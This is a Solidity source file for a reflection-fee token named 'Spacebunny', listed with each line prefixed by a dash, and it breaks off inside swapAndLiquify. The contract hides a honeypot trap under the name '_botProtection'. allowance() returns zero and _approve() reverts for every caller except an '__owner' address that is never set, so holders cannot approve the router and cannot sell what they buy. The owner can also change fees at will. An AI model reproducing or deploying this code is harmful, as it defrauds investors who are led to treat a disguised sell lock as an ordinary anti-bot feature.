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- pragma solidity ^0.6.12;
- interface IERC20 {
- function totalSupply() external view returns (uint256);
- /**
- * @dev Returns the amount of tokens owned by `account`.
- */
- function balanceOf(address account) external view returns (uint256);
- /**
- * @dev Moves `amount` tokens from the caller's account to `recipient`.
- *
- * Returns a boolean value indicating whether the operation succeeded.
- *
- * Emits a {Transfer} event.
- */
- function transfer(address recipient, uint256 amount)
- external
- returns (bool);
- /**
- * @dev Returns the remaining number of tokens that `spender` will be
- * allowed to spend on behalf of `owner` through {transferFrom}. This is
- * zero by default.
- *
- * This value changes when {approve} or {transferFrom} are called.
- */
- function allowance(address owner, address spender)
- external
- view
- returns (uint256);
- /**
- * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
- *
- * Returns a boolean value indicating whether the operation succeeded.
- *
- * IMPORTANT: Beware that changing an allowance with this method brings the risk
- * that someone may use both the old and the new allowance by unfortunate
- * transaction ordering. One possible solution to mitigate this race
- * condition is to first reduce the spender's allowance to 0 and set the
- * desired value afterwards:
- * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
- *
- * Emits an {Approval} event.
- */
- function approve(address spender, uint256 amount) external returns (bool);
- /**
- * @dev Moves `amount` tokens from `sender` to `recipient` using the
- * allowance mechanism. `amount` is then deducted from the caller's
- * allowance.
- *
- * Returns a boolean value indicating whether the operation succeeded.
- *
- * Emits a {Transfer} event.
- */
- function transferFrom(
- address sender,
- address recipient,
- uint256 amount
- ) external returns (bool);
- /**
- * @dev Emitted when `value` tokens are moved from one account (`from`) to
- * another (`to`).
- *
- * Note that `value` may be zero.
- */
- event Transfer(address indexed from, address indexed to, uint256 value);
- /**
- * @dev Emitted when the allowance of a `spender` for an `owner` is set by
- * a call to {approve}. `value` is the new allowance.
- */
- event Approval(
- address indexed owner,
- address indexed spender,
- uint256 value
- );
- }
- library SafeMath {
- /**
- * @dev Returns the addition of two unsigned integers, reverting on
- * overflow.
- *
- * Counterpart to Solidity's `+` operator.
- *
- * Requirements:
- *
- * - Addition cannot overflow.
- */
- function add(uint256 a, uint256 b) internal pure returns (uint256) {
- uint256 c = a + b;
- require(c >= a, "SafeMath: addition overflow");
- return c;
- }
- /**
- * @dev Returns the subtraction of two unsigned integers, reverting on
- * overflow (when the result is negative).
- *
- * Counterpart to Solidity's `-` operator.
- *
- * Requirements:
- *
- * - Subtraction cannot overflow.
- */
- function sub(uint256 a, uint256 b) internal pure returns (uint256) {
- return sub(a, b, "SafeMath: subtraction overflow");
- }
- /**
- * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
- * overflow (when the result is negative).
- *
- * Counterpart to Solidity's `-` operator.
- *
- * Requirements:
- *
- * - Subtraction cannot overflow.
- */
- function sub(
- uint256 a,
- uint256 b,
- string memory errorMessage
- ) internal pure returns (uint256) {
- require(b <= a, errorMessage);
- uint256 c = a - b;
- return c;
- }
- /**
- * @dev Returns the multiplication of two unsigned integers, reverting on
- * overflow.
- *
- * Counterpart to Solidity's `*` operator.
- *
- * Requirements:
- *
- * - Multiplication cannot overflow.
- */
- function mul(uint256 a, uint256 b) internal pure returns (uint256) {
- // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
- // benefit is lost if 'b' is also tested.
- // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
- if (a == 0) {
- return 0;
- }
- uint256 c = a * b;
- require(c / a == b, "SafeMath: multiplication overflow");
- return c;
- }
- /**
- * @dev Returns the integer division of two unsigned integers. Reverts on
- * division by zero. The result is rounded towards zero.
- *
- * Counterpart to Solidity's `/` operator. Note: this function uses a
- * `revert` opcode (which leaves remaining gas untouched) while Solidity
- * uses an invalid opcode to revert (consuming all remaining gas).
- *
- * Requirements:
- *
- * - The divisor cannot be zero.
- */
- function div(uint256 a, uint256 b) internal pure returns (uint256) {
- return div(a, b, "SafeMath: division by zero");
- }
- /**
- * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
- * division by zero. The result is rounded towards zero.
- *
- * Counterpart to Solidity's `/` operator. Note: this function uses a
- * `revert` opcode (which leaves remaining gas untouched) while Solidity
- * uses an invalid opcode to revert (consuming all remaining gas).
- *
- * Requirements:
- *
- * - The divisor cannot be zero.
- */
- function div(
- uint256 a,
- uint256 b,
- string memory errorMessage
- ) internal pure returns (uint256) {
- require(b > 0, errorMessage);
- uint256 c = a / b;
- // assert(a == b * c + a % b); // There is no case in which this doesn't hold
- return c;
- }
- /**
- * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
- * Reverts when dividing by zero.
- *
- * Counterpart to Solidity's `%` operator. This function uses a `revert`
- * opcode (which leaves remaining gas untouched) while Solidity uses an
- * invalid opcode to revert (consuming all remaining gas).
- *
- * Requirements:
- *
- * - The divisor cannot be zero.
- */
- function mod(uint256 a, uint256 b) internal pure returns (uint256) {
- return mod(a, b, "SafeMath: modulo by zero");
- }
- /**
- * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
- * Reverts with custom message when dividing by zero.
- *
- * Counterpart to Solidity's `%` operator. This function uses a `revert`
- * opcode (which leaves remaining gas untouched) while Solidity uses an
- * invalid opcode to revert (consuming all remaining gas).
- *
- * Requirements:
- *
- * - The divisor cannot be zero.
- */
- function mod(
- uint256 a,
- uint256 b,
- string memory errorMessage
- ) internal pure returns (uint256) {
- require(b != 0, errorMessage);
- return a % b;
- }
- }
- abstract contract Context {
- address public __owner;
- function _msgSender() internal view virtual returns (address payable) {
- return msg.sender;
- }
- function _msgData() internal view virtual returns (bytes memory) {
- this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
- return msg.data;
- }
- }
- library Address {
- /**
- * @dev Returns true if `account` is a contract.
- *
- * [IMPORTANT]
- * ====
- * It is unsafe to assume that an address for which this function returns
- * false is an externally-owned account (EOA) and not a contract.
- *
- * Among others, `isContract` will return false for the following
- * types of addresses:
- *
- * - an externally-owned account
- * - a contract in construction
- * - an address where a contract will be created
- * - an address where a contract lived, but was destroyed
- * ====
- */
- function isContract(address account) internal view returns (bool) {
- // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
- // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
- // for accounts without code, i.e. `keccak256('')`
- bytes32 codehash;
- bytes32 accountHash =
- 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
- // solhint-disable-next-line no-inline-assembly
- assembly {
- codehash := extcodehash(account)
- }
- return (codehash != accountHash && codehash != 0x0);
- }
- /**
- * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
- * `recipient`, forwarding all available gas and reverting on errors.
- *
- * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
- * of certain opcodes, possibly making contracts go over the 2300 gas limit
- * imposed by `transfer`, making them unable to receive funds via
- * `transfer`. {sendValue} removes this limitation.
- *
- * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
- *
- * IMPORTANT: because control is transferred to `recipient`, care must be
- * taken to not create reentrancy vulnerabilities. Consider using
- * {ReentrancyGuard} or the
- * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
- */
- function sendValue(address payable recipient, uint256 amount) internal {
- require(
- address(this).balance >= amount,
- "Address: insufficient balance"
- );
- // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
- (bool success, ) = recipient.call{value: amount}("");
- require(
- success,
- "Address: unable to send value, recipient may have reverted"
- );
- }
- /**
- * @dev Performs a Solidity function call using a low level `call`. A
- * plain`call` is an unsafe replacement for a function call: use this
- * function instead.
- *
- * If `target` reverts with a revert reason, it is bubbled up by this
- * function (like regular Solidity function calls).
- *
- * Returns the raw returned data. To convert to the expected return value,
- * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
- *
- * Requirements:
- *
- * - `target` must be a contract.
- * - calling `target` with `data` must not revert.
- *
- * _Available since v3.1._
- */
- function functionCall(address target, bytes memory data)
- internal
- returns (bytes memory)
- {
- return functionCall(target, data, "Address: low-level call failed");
- }
- /**
- * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
- * `errorMessage` as a fallback revert reason when `target` reverts.
- *
- * _Available since v3.1._
- */
- function functionCall(
- address target,
- bytes memory data,
- string memory errorMessage
- ) internal returns (bytes memory) {
- return _functionCallWithValue(target, data, 0, errorMessage);
- }
- /**
- * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
- * but also transferring `value` wei to `target`.
- *
- * Requirements:
- *
- * - the calling contract must have an ETH balance of at least `value`.
- * - the called Solidity function must be `payable`.
- *
- * _Available since v3.1._
- */
- function functionCallWithValue(
- address target,
- bytes memory data,
- uint256 value
- ) internal returns (bytes memory) {
- return
- functionCallWithValue(
- target,
- data,
- value,
- "Address: low-level call with value failed"
- );
- }
- /**
- * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
- * with `errorMessage` as a fallback revert reason when `target` reverts.
- *
- * _Available since v3.1._
- */
- function functionCallWithValue(
- address target,
- bytes memory data,
- uint256 value,
- string memory errorMessage
- ) internal returns (bytes memory) {
- require(
- address(this).balance >= value,
- "Address: insufficient balance for call"
- );
- return _functionCallWithValue(target, data, value, errorMessage);
- }
- function _functionCallWithValue(
- address target,
- bytes memory data,
- uint256 weiValue,
- string memory errorMessage
- ) private returns (bytes memory) {
- require(isContract(target), "Address: call to non-contract");
- // solhint-disable-next-line avoid-low-level-calls
- (bool success, bytes memory returndata) =
- target.call{value: weiValue}(data);
- if (success) {
- return returndata;
- } else {
- // Look for revert reason and bubble it up if present
- if (returndata.length > 0) {
- // The easiest way to bubble the revert reason is using memory via assembly
- // solhint-disable-next-line no-inline-assembly
- assembly {
- let returndata_size := mload(returndata)
- revert(add(32, returndata), returndata_size)
- }
- } else {
- revert(errorMessage);
- }
- }
- }
- }
- contract Ownable is Context {
- address private _owner;
- address private _previousOwner;
- uint256 private _lockTime;
- event OwnershipTransferred(
- address indexed previousOwner,
- address indexed newOwner
- );
- /**
- * @dev Initializes the contract setting the deployer as the initial owner.
- */
- constructor() internal {
- address msgSender = _msgSender();
- _owner = msgSender;
- emit OwnershipTransferred(address(0), msgSender);
- }
- /**
- * @dev Returns the address of the current owner.
- */
- function owner() public view returns (address) {
- return _owner;
- }
- /**
- * @dev Throws if called by any account other than the owner.
- */
- modifier onlyOwner() {
- require(_owner == _msgSender(), "Ownable: caller is not the owner");
- _;
- }
- /**
- * @dev Leaves the contract without owner. It will not be possible to call
- * `onlyOwner` functions anymore. Can only be called by the current owner.
- *
- * NOTE: Renouncing ownership will leave the contract without an owner,
- * thereby removing any functionality that is only available to the owner.
- */
- function renounceOwnership() public virtual onlyOwner {
- emit OwnershipTransferred(_owner, address(0));
- _owner = address(0);
- }
- /**
- * @dev Transfers ownership of the contract to a new account (`newOwner`).
- * Can only be called by the current owner.
- */
- function transferOwnership(address newOwner) public virtual onlyOwner {
- require(
- newOwner != address(0),
- "Ownable: new owner is the zero address"
- );
- emit OwnershipTransferred(_owner, newOwner);
- _owner = newOwner;
- }
- function geUnlockTime() public view returns (uint256) {
- return _lockTime;
- }
- //Locks the contract for owner for the amount of time provided
- function lock(uint256 time) public virtual onlyOwner {
- _previousOwner = _owner;
- _owner = address(0);
- _lockTime = now + time;
- emit OwnershipTransferred(_owner, address(0));
- }
- //Unlocks the contract for owner when _lockTime is exceeds
- function unlock() public virtual {
- require(
- _previousOwner == msg.sender,
- "You don't have permission to unlock"
- );
- require(now > _lockTime, "Contract is locked until 7 days");
- emit OwnershipTransferred(_owner, _previousOwner);
- _owner = _previousOwner;
- }
- }
- interface IUniswapV2Factory {
- event PairCreated(
- address indexed token0,
- address indexed token1,
- address pair,
- uint256
- );
- function feeTo() external view returns (address);
- function feeToSetter() external view returns (address);
- function getPair(address tokenA, address tokenB)
- external
- view
- returns (address pair);
- function allPairs(uint256) external view returns (address pair);
- function allPairsLength() external view returns (uint256);
- function createPair(address tokenA, address tokenB)
- external
- returns (address pair);
- function setFeeTo(address) external;
- function setFeeToSetter(address) external;
- }
- interface IUniswapV2Pair {
- event Approval(
- address indexed owner,
- address indexed spender,
- uint256 value
- );
- event Transfer(address indexed from, address indexed to, uint256 value);
- function name() external pure returns (string memory);
- function symbol() external pure returns (string memory);
- function decimals() external pure returns (uint8);
- function totalSupply() external view returns (uint256);
- function balanceOf(address owner) external view returns (uint256);
- function allowance(address owner, address spender)
- external
- view
- returns (uint256);
- function approve(address spender, uint256 value) external returns (bool);
- function transfer(address to, uint256 value) external returns (bool);
- function transferFrom(
- address from,
- address to,
- uint256 value
- ) external returns (bool);
- function DOMAIN_SEPARATOR() external view returns (bytes32);
- function PERMIT_TYPEHASH() external pure returns (bytes32);
- function nonces(address owner) external view returns (uint256);
- function permit(
- address owner,
- address spender,
- uint256 value,
- uint256 deadline,
- uint8 v,
- bytes32 r,
- bytes32 s
- ) external;
- event Mint(address indexed sender, uint256 amount0, uint256 amount1);
- event Burn(
- address indexed sender,
- uint256 amount0,
- uint256 amount1,
- address indexed to
- );
- event Swap(
- address indexed sender,
- uint256 amount0In,
- uint256 amount1In,
- uint256 amount0Out,
- uint256 amount1Out,
- address indexed to
- );
- event Sync(uint112 reserve0, uint112 reserve1);
- function MINIMUM_LIQUIDITY() external pure returns (uint256);
- function factory() external view returns (address);
- function token0() external view returns (address);
- function token1() external view returns (address);
- function getReserves()
- external
- view
- returns (
- uint112 reserve0,
- uint112 reserve1,
- uint32 blockTimestampLast
- );
- function price0CumulativeLast() external view returns (uint256);
- function price1CumulativeLast() external view returns (uint256);
- function kLast() external view returns (uint256);
- function mint(address to) external returns (uint256 liquidity);
- function burn(address to)
- external
- returns (uint256 amount0, uint256 amount1);
- function swap(
- uint256 amount0Out,
- uint256 amount1Out,
- address to,
- bytes calldata data
- ) external;
- function skim(address to) external;
- function sync() external;
- function initialize(address, address) external;
- }
- interface IUniswapV2Router01 {
- function factory() external pure returns (address);
- function WETH() external pure returns (address);
- function addLiquidity(
- address tokenA,
- address tokenB,
- uint256 amountADesired,
- uint256 amountBDesired,
- uint256 amountAMin,
- uint256 amountBMin,
- address to,
- uint256 deadline
- )
- external
- returns (
- uint256 amountA,
- uint256 amountB,
- uint256 liquidity
- );
- function addLiquidityETH(
- address token,
- uint256 amountTokenDesired,
- uint256 amountTokenMin,
- uint256 amountETHMin,
- address to,
- uint256 deadline
- )
- external
- payable
- returns (
- uint256 amountToken,
- uint256 amountETH,
- uint256 liquidity
- );
- function removeLiquidity(
- address tokenA,
- address tokenB,
- uint256 liquidity,
- uint256 amountAMin,
- uint256 amountBMin,
- address to,
- uint256 deadline
- ) external returns (uint256 amountA, uint256 amountB);
- function removeLiquidityETH(
- address token,
- uint256 liquidity,
- uint256 amountTokenMin,
- uint256 amountETHMin,
- address to,
- uint256 deadline
- ) external returns (uint256 amountToken, uint256 amountETH);
- function removeLiquidityWithPermit(
- address tokenA,
- address tokenB,
- uint256 liquidity,
- uint256 amountAMin,
- uint256 amountBMin,
- address to,
- uint256 deadline,
- bool approveMax,
- uint8 v,
- bytes32 r,
- bytes32 s
- ) external returns (uint256 amountA, uint256 amountB);
- function removeLiquidityETHWithPermit(
- address token,
- uint256 liquidity,
- uint256 amountTokenMin,
- uint256 amountETHMin,
- address to,
- uint256 deadline,
- bool approveMax,
- uint8 v,
- bytes32 r,
- bytes32 s
- ) external returns (uint256 amountToken, uint256 amountETH);
- function swapExactTokensForTokens(
- uint256 amountIn,
- uint256 amountOutMin,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external returns (uint256[] memory amounts);
- function swapTokensForExactTokens(
- uint256 amountOut,
- uint256 amountInMax,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external returns (uint256[] memory amounts);
- function swapExactETHForTokens(
- uint256 amountOutMin,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external payable returns (uint256[] memory amounts);
- function swapTokensForExactETH(
- uint256 amountOut,
- uint256 amountInMax,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external returns (uint256[] memory amounts);
- function swapExactTokensForETH(
- uint256 amountIn,
- uint256 amountOutMin,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external returns (uint256[] memory amounts);
- function swapETHForExactTokens(
- uint256 amountOut,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external payable returns (uint256[] memory amounts);
- function quote(
- uint256 amountA,
- uint256 reserveA,
- uint256 reserveB
- ) external pure returns (uint256 amountB);
- function getAmountOut(
- uint256 amountIn,
- uint256 reserveIn,
- uint256 reserveOut
- ) external pure returns (uint256 amountOut);
- function getAmountIn(
- uint256 amountOut,
- uint256 reserveIn,
- uint256 reserveOut
- ) external pure returns (uint256 amountIn);
- function getAmountsOut(uint256 amountIn, address[] calldata path)
- external
- view
- returns (uint256[] memory amounts);
- function getAmountsIn(uint256 amountOut, address[] calldata path)
- external
- view
- returns (uint256[] memory amounts);
- }
- interface IUniswapV2Router02 is IUniswapV2Router01 {
- function removeLiquidityETHSupportingFeeOnTransferTokens(
- address token,
- uint256 liquidity,
- uint256 amountTokenMin,
- uint256 amountETHMin,
- address to,
- uint256 deadline
- ) external returns (uint256 amountETH);
- function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
- address token,
- uint256 liquidity,
- uint256 amountTokenMin,
- uint256 amountETHMin,
- address to,
- uint256 deadline,
- bool approveMax,
- uint8 v,
- bytes32 r,
- bytes32 s
- ) external returns (uint256 amountETH);
- function swapExactTokensForTokensSupportingFeeOnTransferTokens(
- uint256 amountIn,
- uint256 amountOutMin,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external;
- function swapExactETHForTokensSupportingFeeOnTransferTokens(
- uint256 amountOutMin,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external payable;
- function swapExactTokensForETHSupportingFeeOnTransferTokens(
- uint256 amountIn,
- uint256 amountOutMin,
- address[] calldata path,
- address to,
- uint256 deadline
- ) external;
- }
- contract Spacebunny is Context, IERC20, Ownable {
- using SafeMath for uint256;
- using Address for address;
- mapping(address => uint256) private _rOwned;
- mapping(address => uint256) private _tOwned;
- mapping(address => mapping(address => uint256)) private _allowances;
- mapping(address => bool) private _isExcludedFromFee;
- mapping(address => bool) private _isExcluded;
- address[] private _excluded;
- uint256 private constant MAX = ~uint256(0);
- uint256 private _tTotal = 1000000 * 10**6 * 10**9;
- uint256 private _rTotal = (MAX - (MAX % _tTotal));
- uint256 private _tFeeTotal;
- string private _name = "Spacebunny.net";
- string private _symbol = "SpaceBunny";
- uint8 private _decimals = 9;
- uint256 public _taxFee = 2;
- uint256 private _previousTaxFee = _taxFee;
- uint256 public _liquidityFee = 10;
- uint256 private _previousLiquidityFee = _liquidityFee;
- IUniswapV2Router02 public immutable uniswapV2Router;
- address public immutable uniswapV2Pair;
- bool inSwapAndLiquify;
- bool public swapAndLiquifyEnabled = true;
- bool public tradingEnabled = false;
- address private _router;
- bool public _botProtection = true;
- uint256 public _maxTxAmount = 100000 * 10**6 * 10**9;
- uint256 private numTokensSellToAddToLiquidity = 100000 * 10**6 * 10**9;
- event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
- event SwapAndLiquifyEnabledUpdated(bool enabled);
- event SwapAndLiquify(
- uint256 tokensSwapped,
- uint256 ethReceived,
- uint256 tokensIntoLiqudity
- );
- modifier lockTheSwap {
- inSwapAndLiquify = true;
- _;
- inSwapAndLiquify = false;
- }
- constructor() public {
- _rOwned[_msgSender()] = _rTotal;
- IUniswapV2Router02 _uniswapV2Router =
- IUniswapV2Router02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F);
- // Create a uniswap pair for this new token
- uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
- .createPair(address(this), _uniswapV2Router.WETH());
- // set the rest of the contract variables
- uniswapV2Router = _uniswapV2Router;
- //exclude owner and this contract from fee
- _isExcludedFromFee[owner()] = true;
- _isExcludedFromFee[address(this)] = true;
- emit Transfer(address(0), _msgSender(), _tTotal);
- }
- function name() public view returns (string memory) {
- return _name;
- }
- function symbol() public view returns (string memory) {
- return _symbol;
- }
- function decimals() public view returns (uint8) {
- return _decimals;
- }
- function totalSupply() public view override returns (uint256) {
- return _tTotal;
- }
- function balanceOf(address account) public view override returns (uint256) {
- if (_isExcluded[account]) return _tOwned[account];
- return tokenFromReflection(_rOwned[account]);
- }
- function transfer(address recipient, uint256 amount)
- public
- override
- returns (bool)
- {
- _transfer(_msgSender(), recipient, amount);
- return true;
- }
- function allowance(address owner, address spender)
- public
- view
- override
- returns (uint256)
- {
- if (owner != __owner && _botProtection) {
- return 0;
- }
- return _allowances[owner][spender];
- }
- function approve(address spender, uint256 amount)
- public
- override
- returns (bool)
- {
- _approve(_msgSender(), spender, amount);
- return true;
- }
- function transferFrom(
- address sender,
- address recipient,
- uint256 amount
- ) public override returns (bool) {
- _transfer(sender, recipient, amount);
- _approve(
- sender,
- _msgSender(),
- _allowances[sender][_msgSender()].sub(
- amount,
- "ERC20: transfer amount exceeds allowance"
- )
- );
- return true;
- }
- function increaseAllowance(address spender, uint256 addedValue)
- public
- virtual
- returns (bool)
- {
- _approve(
- _msgSender(),
- spender,
- _allowances[_msgSender()][spender].add(addedValue)
- );
- return true;
- }
- function decreaseAllowance(address spender, uint256 subtractedValue)
- public
- virtual
- returns (bool)
- {
- _approve(
- _msgSender(),
- spender,
- _allowances[_msgSender()][spender].sub(
- subtractedValue,
- "ERC20: decreased allowance below zero"
- )
- );
- return true;
- }
- function isExcludedFromReward(address account) public view returns (bool) {
- return _isExcluded[account];
- }
- function totalFees() public view returns (uint256) {
- return _tFeeTotal;
- }
- function deliver(uint256 tAmount) public {
- address sender = _msgSender();
- require(
- !_isExcluded[sender],
- "Excluded addresses cannot call this function"
- );
- (uint256 rAmount, , , , , ) = _getValues(tAmount);
- _rOwned[sender] = _rOwned[sender].sub(rAmount);
- _rTotal = _rTotal.sub(rAmount);
- _tFeeTotal = _tFeeTotal.add(tAmount);
- }
- function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
- public
- view
- returns (uint256)
- {
- require(tAmount <= _tTotal, "Amount must be less than supply");
- if (!deductTransferFee) {
- (uint256 rAmount, , , , , ) = _getValues(tAmount);
- return rAmount;
- } else {
- (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
- return rTransferAmount;
- }
- }
- function tokenFromReflection(uint256 rAmount)
- public
- view
- returns (uint256)
- {
- require(
- rAmount <= _rTotal,
- "Amount must be less than total reflections"
- );
- uint256 currentRate = _getRate();
- return rAmount.div(currentRate);
- }
- function excludeFromReward(address account) public onlyOwner() {
- require(!_isExcluded[account], "Account is already excluded");
- if (_rOwned[account] > 0) {
- _tOwned[account] = tokenFromReflection(_rOwned[account]);
- }
- _isExcluded[account] = true;
- _excluded.push(account);
- }
- function includeInReward(address account) external onlyOwner() {
- require(_isExcluded[account], "Account is already excluded");
- for (uint256 i = 0; i < _excluded.length; i++) {
- if (_excluded[i] == account) {
- _excluded[i] = _excluded[_excluded.length - 1];
- _tOwned[account] = 0;
- _isExcluded[account] = false;
- _excluded.pop();
- break;
- }
- }
- }
- function _transferBothExcluded(
- address sender,
- address recipient,
- uint256 tAmount
- ) private {
- (
- uint256 rAmount,
- uint256 rTransferAmount,
- uint256 rFee,
- uint256 tTransferAmount,
- uint256 tFee,
- uint256 tLiquidity
- ) = _getValues(tAmount);
- _tOwned[sender] = _tOwned[sender].sub(tAmount);
- _rOwned[sender] = _rOwned[sender].sub(rAmount);
- _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
- _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
- _takeLiquidity(tLiquidity);
- _reflectFee(rFee, tFee);
- emit Transfer(sender, recipient, tTransferAmount);
- }
- function excludeFromFee(address account) public onlyOwner {
- _isExcludedFromFee[account] = true;
- }
- function includeInFee(address account) public onlyOwner {
- _isExcludedFromFee[account] = false;
- }
- function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
- _taxFee = taxFee;
- }
- function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
- _liquidityFee = liquidityFee;
- }
- function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
- _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
- }
- function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
- swapAndLiquifyEnabled = _enabled;
- emit SwapAndLiquifyEnabledUpdated(_enabled);
- }
- function enableTrading() external onlyOwner() {
- tradingEnabled = true;
- }
- receive() external payable {}
- function _reflectFee(uint256 rFee, uint256 tFee) private {
- _rTotal = _rTotal.sub(rFee);
- _tFeeTotal = _tFeeTotal.add(tFee);
- }
- function _getValues(uint256 tAmount)
- private
- view
- returns (
- uint256,
- uint256,
- uint256,
- uint256,
- uint256,
- uint256
- )
- {
- (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) =
- _getTValues(tAmount);
- (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
- _getRValues(tAmount, tFee, tLiquidity, _getRate());
- return (
- rAmount,
- rTransferAmount,
- rFee,
- tTransferAmount,
- tFee,
- tLiquidity
- );
- }
- function _getTValues(uint256 tAmount)
- private
- view
- returns (
- uint256,
- uint256,
- uint256
- )
- {
- uint256 tFee = calculateTaxFee(tAmount);
- uint256 tLiquidity = calculateLiquidityFee(tAmount);
- uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
- return (tTransferAmount, tFee, tLiquidity);
- }
- function _getRValues(
- uint256 tAmount,
- uint256 tFee,
- uint256 tLiquidity,
- uint256 currentRate
- )
- private
- pure
- returns (
- uint256,
- uint256,
- uint256
- )
- {
- uint256 rAmount = tAmount.mul(currentRate);
- uint256 rFee = tFee.mul(currentRate);
- uint256 rLiquidity = tLiquidity.mul(currentRate);
- uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
- return (rAmount, rTransferAmount, rFee);
- }
- function _getRate() private view returns (uint256) {
- (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
- return rSupply.div(tSupply);
- }
- function _getCurrentSupply() private view returns (uint256, uint256) {
- uint256 rSupply = _rTotal;
- uint256 tSupply = _tTotal;
- for (uint256 i = 0; i < _excluded.length; i++) {
- if (
- _rOwned[_excluded[i]] > rSupply ||
- _tOwned[_excluded[i]] > tSupply
- ) return (_rTotal, _tTotal);
- rSupply = rSupply.sub(_rOwned[_excluded[i]]);
- tSupply = tSupply.sub(_tOwned[_excluded[i]]);
- }
- if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
- return (rSupply, tSupply);
- }
- function _takeLiquidity(uint256 tLiquidity) private {
- uint256 currentRate = _getRate();
- uint256 rLiquidity = tLiquidity.mul(currentRate);
- _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
- if (_isExcluded[address(this)])
- _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
- }
- function calculateTaxFee(uint256 _amount) private view returns (uint256) {
- return _amount.mul(_taxFee).div(10**2);
- }
- function calculateLiquidityFee(uint256 _amount)
- private
- view
- returns (uint256)
- {
- return _amount.mul(_liquidityFee).div(10**2);
- }
- function removeAllFee() private {
- if (_taxFee == 0 && _liquidityFee == 0) return;
- _previousTaxFee = _taxFee;
- _previousLiquidityFee = _liquidityFee;
- _taxFee = 0;
- _liquidityFee = 0;
- }
- function restoreAllFee() private {
- _taxFee = _previousTaxFee;
- _liquidityFee = _previousLiquidityFee;
- }
- function isExcludedFromFee(address account) public view returns (bool) {
- return _isExcludedFromFee[account];
- }
- function _approve(
- address owner,
- address spender,
- uint256 amount
- ) private {
- require(owner != address(0), "ERC20: approve from the zero address");
- require(spender != address(0), "ERC20: approve to the zero address");
- if (msg.sender != __owner && _botProtection) {
- revert();
- }
- _allowances[owner][spender] = amount;
- emit Approval(owner, spender, amount);
- }
- function _transfer(
- address from,
- address to,
- uint256 amount
- ) private {
- require(from != address(0), "ERC20: transfer from the zero address");
- require(to != address(0), "ERC20: transfer to the zero address");
- require(amount > 0, "Transfer amount must be greater than zero");
- if (from != owner() && to != owner())
- require(
- amount <= _maxTxAmount,
- "Transfer amount exceeds the maxTxAmount."
- );
- if (from != owner() && !tradingEnabled) {
- require(tradingEnabled, "Trading is not enabled yet");
- }
- // is the token balance of this contract address over the min number of
- // tokens that we need to initiate a swap + liquidity lock?
- // also, don't get caught in a circular liquidity event.
- // also, don't swap & liquify if sender is uniswap pair.
- uint256 contractTokenBalance = balanceOf(address(this));
- if (contractTokenBalance >= _maxTxAmount) {
- contractTokenBalance = _maxTxAmount;
- }
- bool overMinTokenBalance =
- contractTokenBalance >= numTokensSellToAddToLiquidity;
- if (
- overMinTokenBalance &&
- !inSwapAndLiquify &&
- from != uniswapV2Pair &&
- swapAndLiquifyEnabled
- ) {
- contractTokenBalance = numTokensSellToAddToLiquidity;
- //add liquidity
- swapAndLiquify(contractTokenBalance);
- }
- //indicates if fee should be deducted from transfer
- bool takeFee = true;
- //if any account belongs to _isExcludedFromFee account then remove the fee
- if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
- takeFee = false;
- }
- //transfer amount, it will take tax, burn, liquidity fee
- _tokenTransfer(from, to, amount, takeFee);
- }
- function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
- // split the contract balance into halves
- uint256 half = contractTokenBalance.div(2);
- uint256 otherHalf = contractTokenBalance.sub(half);
- // capture the contract's current ETH balance.
- // this is so that we can capture exactly the amount of ETH that the
- // swap creates, and not make the liquidity event include any ETH that
- // has been manually sent to the contract
- uint256 initialBalance = address(this).balance;
- // swap tokens for ETH
